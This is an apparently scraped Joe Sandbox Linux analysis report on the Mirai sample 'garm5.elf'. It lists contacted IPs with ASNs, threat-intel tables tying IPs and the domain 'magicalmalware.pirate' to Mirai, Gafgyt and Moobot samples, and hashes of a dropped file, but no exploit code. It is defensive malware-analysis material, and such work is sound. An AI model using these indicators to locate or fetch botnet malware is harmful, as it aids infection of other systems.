41.129.114.71	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.182.10.59	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
41.228.223.129	unknown	Tunisia	37693	TUNISIANATN	false
197.194.23.174	unknown	Egypt	36992	ETISALAT-MISREG	true
41.10.179.231	unknown	South Africa	29975	VODACOM-ZA	false
41.54.60.184	unknown	South Africa	37168	CELL-CZA	false
197.50.250.247	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.149.186.150	unknown	South Africa	5713	SAIX-NETZA	false
156.237.86.245	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
156.80.44.83	unknown	United States	393649	BOOZ-AS2US	false
197.228.192.214	unknown	South Africa	37251	TELKOMMOBILEZA	false
156.46.206.241	unknown	United States	3527	NIH-NETUS	false
156.3.253.102	unknown	United States	2920	LACOEUS	false
197.228.192.207	unknown	South Africa	37251	TELKOMMOBILEZA	false
41.247.245.228	unknown	South Africa	5713	SAIX-NETZA	false
41.186.210.239	unknown	Rwanda	36890	MTNRW-ASNRW	false
41.102.161.27	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.66.231.40	unknown	South Africa	16637	MTNNS-ASZA	false
156.110.22.170	unknown	United States	5078	ONENET-AS-1US	false
197.5.249.126	unknown	Tunisia	5438	ATI-TN	false
197.177.27.90	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.247.65.28	unknown	Morocco	36925	ASMediMA	false
197.51.4.236	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.149.186.146	unknown	South Africa	5713	SAIX-NETZA	false
197.166.117.69	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.182.145.52	unknown	Egypt	36992	ETISALAT-MISREG	false
197.226.240.45	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.198.173.227	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.189.23.105	unknown	Egypt	36992	ETISALAT-MISREG	false
41.70.6.181	unknown	Malawi	24835	RAYA-ASEG	false
156.8.126.120	unknown	South Africa	3741	ISZA	false
41.118.154.241	unknown	South Africa	16637	MTNNS-ASZA	false
156.70.138.72	unknown	United States	297	AS297US	false
41.239.87.12	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.251.205.214	unknown	Morocco	36903	MT-MPLSMA	false
197.173.59.6	unknown	South Africa	37168	CELL-CZA	false
156.124.58.144	unknown	United States	393504	XNSTGCA	false
41.237.9.88	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.33.207.54	unknown	United States	3495	SENATE-ASUS	false
41.220.145.125	unknown	Algeria	327931	Optimum-Telecom-AlgeriaDZ	false
41.148.201.137	unknown	South Africa	5713	SAIX-NETZA	false
41.108.223.89	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.10.162.24	unknown	Tunisia	5438	ATI-TN	false
197.123.112.23	unknown	Egypt	36992	ETISALAT-MISREG	false
41.157.30.36	unknown	South Africa	37168	CELL-CZA	false
41.217.104.19	unknown	Nigeria	37340	SpectranetNG	false
156.190.95.224	unknown	Egypt	36992	ETISALAT-MISREG	false
197.137.214.188	unknown	Kenya	36914	KENET-ASKE	false
41.164.24.106	unknown	South Africa	36937	Neotel-ASZA	false
41.102.161.35	unknown	Algeria	36947	ALGTEL-ASDZ	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.108.83.83	HvgfH8MXUB	Get hash	malicious	Mirai	Browse
	j7tlqm3Pxr	Get hash	malicious	Mirai	Browse
	8UZmiMnjPH	Get hash	malicious	Gafgyt Mirai	Browse
41.149.138.204	WIb2MCrHFc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	mmOGSVmNxe.elf	Get hash	malicious	Mirai	Browse
	meihao.i686	Get hash	malicious	Mirai	Browse
41.169.49.26	na.elf	Get hash	malicious	Mirai	Browse
	fBd2A146xg.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	DRcqrj4ODx.elf	Get hash	malicious	Mirai	Browse
	l99tLLKEfY.elf	Get hash	malicious	Mirai, Moobot	Browse
	znRL8YPhwj.elf	Get hash	malicious	Mirai	Browse
	xjolpyQgyP	Get hash	malicious	Mirai	Browse
	5v1vGjsePz	Get hash	malicious	Mirai	Browse
	26PoH4fdTq	Get hash	malicious	Mirai	Browse
41.206.191.231	x86	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	xvnvUdt89j	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
41.253.208.31	77.90.35.9-skid.mips-2024-07-30T07_10_50.elf	Get hash	malicious	Mirai, Moobot	Browse
197.223.62.13	JGqB0cW7Ls.elf	Get hash	malicious	Mirai	Browse
	bk.mips-20221002-0218.elf	Get hash	malicious	Mirai	Browse
	PRowKP58nv	Get hash	malicious	Unknown	Browse
197.173.155.0	4E2ggD3VyS.elf	Get hash	malicious	Mirai	Browse
	kRyuD5j8kW.elf	Get hash	malicious	Mirai	Browse
	O0yR6BYAeD	Get hash	malicious	Mirai	Browse
	ZpfJ4GGH8c	Get hash	malicious	Mirai	Browse
	DT5DNY63Rp	Get hash	malicious	Unknown	Browse
197.51.4.208	EGe6UveHCq.elf	Get hash	malicious	Mirai, Moobot	Browse
	gL5vZH3AvK.elf	Get hash	malicious	Mirai, Moobot	Browse
	nFQrAIp1Ow	Get hash	malicious	Mirai	Browse
	T925SInzXd	Get hash	malicious	Mirai	Browse
	GphnA1WzbX	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
magicalmalware.pirate	nshsh4.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	nrsh4.elf	Get hash	malicious	Mirai	Browse	178.128.99.13
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	nsharm5.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	gmips.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
	nsharm7.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm.elf	Get hash	malicious	Mirai	Browse	138.68.66.39
	nshmips.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm.elf	Get hash	malicious	Mirai	Browse	157.245.110.224
	garm7.elf	Get hash	malicious	Mirai	Browse	138.197.141.146

Process:	/tmp/garm5.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.640223928941852
Encrypted:	false
SSDEEP:	3:TgHYes5:Tgc
MD5:	A8BB09F36DBC398B603488A18B621840
SHA1:	847FA51CA212C2FD86DE545558F6A9D37EDD6299
SHA-256:	77BE2B76271EAD12A5D45036AE3DA283D60705A3A300742F12374AADDD6E8D0D
SHA-512:	51565D4F0F0A997C5DD14137071FDCE32AE3348E3839396E5C4DDF2910E6BCDA455620BA4AABBFAF9CBB916A82A15C1CE1D9CD0242F18756948E48DD3FB414E8
Malicious:	false
Reputation:	low
Preview:	/tmp/garm5.elf.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report garm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.03VzPu (deleted)

/tmp/qemu-open.063Uew (deleted)

/tmp/qemu-open.06978u (deleted)

/tmp/qemu-open.09abew (deleted)

/tmp/qemu-open.0BU8Qy (deleted)

/tmp/qemu-open.0BZZnv (deleted)

/tmp/qemu-open.0EFYZu (deleted)

/tmp/qemu-open.0Jf7bv (deleted)

/tmp/qemu-open.0KmeFv (deleted)

/tmp/qemu-open.0OdrOw (deleted)

/tmp/qemu-open.0QzFcx (deleted)

/tmp/qemu-open.0X1ghw (deleted)

/tmp/qemu-open.0acQGy (deleted)

/tmp/qemu-open.0gP0Hx (deleted)

/tmp/qemu-open.0hi0Fu (deleted)

/tmp/qemu-open.0jlf1w (deleted)

/tmp/qemu-open.0nzy2x (deleted)

/tmp/qemu-open.0uXGky (deleted)

/tmp/qemu-open.10y4wx (deleted)

/tmp/qemu-open.153MIy (deleted)

/tmp/qemu-open.15GjSw (deleted)

/tmp/qemu-open.15LBVv (deleted)

/tmp/qemu-open.1P4uGx (deleted)

/tmp/qemu-open.1ULkvv (deleted)

/tmp/qemu-open.1Xb6Cy (deleted)

/tmp/qemu-open.1d3GGy (deleted)

/tmp/qemu-open.1rV8av (deleted)

/tmp/qemu-open.1saVSu (deleted)

Linux Analysis Report
garm5.elf